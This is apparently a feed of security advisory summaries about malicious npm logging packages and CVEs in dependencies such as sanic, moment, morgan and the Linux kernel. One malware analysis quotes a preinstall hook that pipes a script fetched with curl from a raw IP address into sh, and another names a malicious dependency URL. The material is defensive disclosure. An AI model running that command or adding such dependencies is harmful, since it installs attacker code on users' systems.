Malicious code in @client-web-next/logger (npm)

--- -= Per source details. Do not edit below this line.=-...

MAL-2026-16380 Malicious code in chai-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 566e54855d730e8555b93da4f8ea81faba72645079a7adcc3a05ea8bf8ad8ee6 The package presents itself as a Chai logging plugin but its main entry index.js requires ./lib/query.js, a 4 MB obfuscator.io-encoded module...

Malicious code in chai-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 566e54855d730e8555b93da4f8ea81faba72645079a7adcc3a05ea8bf8ad8ee6 The package presents itself as a Chai logging plugin but its main entry index.js requires ./lib/query.js, a 4 MB obfuscator.io-encoded module...

Malicious Package

Overview linkedin-logger is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

deployme (>=0.1.0, <=0.5.0), limiter-for-sanic (>=0.0.7, <=0.1.0) +4 more potentially affected by CVE-2026-85078 via sanic (22.9.1)

sanic PYPI version 22.9.1 is affected by a known vulnerability. The following packages have a transitive dependency on sanic and may be impacted: - deployme =0.1.0, =0.0.7, =0.0.1, =0.0.47, =0.4.10 - mljet 0.7.0 Source cves: CVE-2026-85078 Source advisory: OSV:GHSA-WMJ6-G64G-J7Q5...

0-logger (>=1.0.0, <=1.1.1), 0xkarl-everscale (0.7.5) +3377 more potentially affected by CVE-2026-17495 via moment (>=2.29.2, <=2.30.1)

moment NPM version =2.29.2, =1.0.0, =1.0.1, =1.0.0, =1.0.0, =1.0.0, =0.0.74, =0.0.14, =2.71.3, =3.19.3, =7.10.0, =1.0.0, =0.0.1, =0.0.2 and more Source cves: CVE-2026-17495 Source advisory: MEND:CVE-2026-17495...

TTX Logger DoS

The vulnerability of the TTX Logger component, a traffic analysis tool for computer networks developed by Wireshark, is related to buffer overflow in dynamic memory. Exploiting this vulnerability can allow attackers to cause system failures...

elfo-configurer (>=0.2.0-alpha.0, <=0.2.0-alpha.15), elfo-pinger (>=0.2.0-alpha.0, <=0.2.0-alpha.15) +1 more potentially affected by unknown CVE via unicycle (0.9.4)

unicycle CARGO version 0.9.4 is affected by a known vulnerability. The following packages have a transitive dependency on unicycle and may be impacted: - elfo-configurer =0.2.0-alpha.0, =0.2.0-alpha.0, =0.2.0-alpha.0, =0.2.0-alpha.15 Source cves: unknown CVE Source advisory: OSV:RUSTSEC-2026-0298...

CVE-2026-87859

morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value...

TencentOS Server 4: wireshark (TSSA-2026:0956)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0956 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities...

Malicious code in jwt-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b56e3f2d5fab071637ba7688de6c2a9c3d1c1846b6ec939b82eb2c8e9ff03956 The package is published as a trivial JWT logging helper but its main module jwt-logger.js is a heavily obfuscated string-array dropper. On require, ...

MAL-2026-15991 Malicious code in jwt-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b56e3f2d5fab071637ba7688de6c2a9c3d1c1846b6ec939b82eb2c8e9ff03956 The package is published as a trivial JWT logging helper but its main module jwt-logger.js is a heavily obfuscated string-array dropper. On require, ...

Malicious Package

Overview jwt-logger is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorship...

Malicious Package

Overview katal-logger is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview grafeno-logger is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

MAL-2026-15513 Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

SUSE CVE-2026-80704

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: use proper context for logging The same as the rest of the code, getssinfofromatombios uses calcpllcs-ctx-logger for logging. But calcpllcs-ctx is initialized only later in calcpllmaxvcoconstruct. Therefore, any...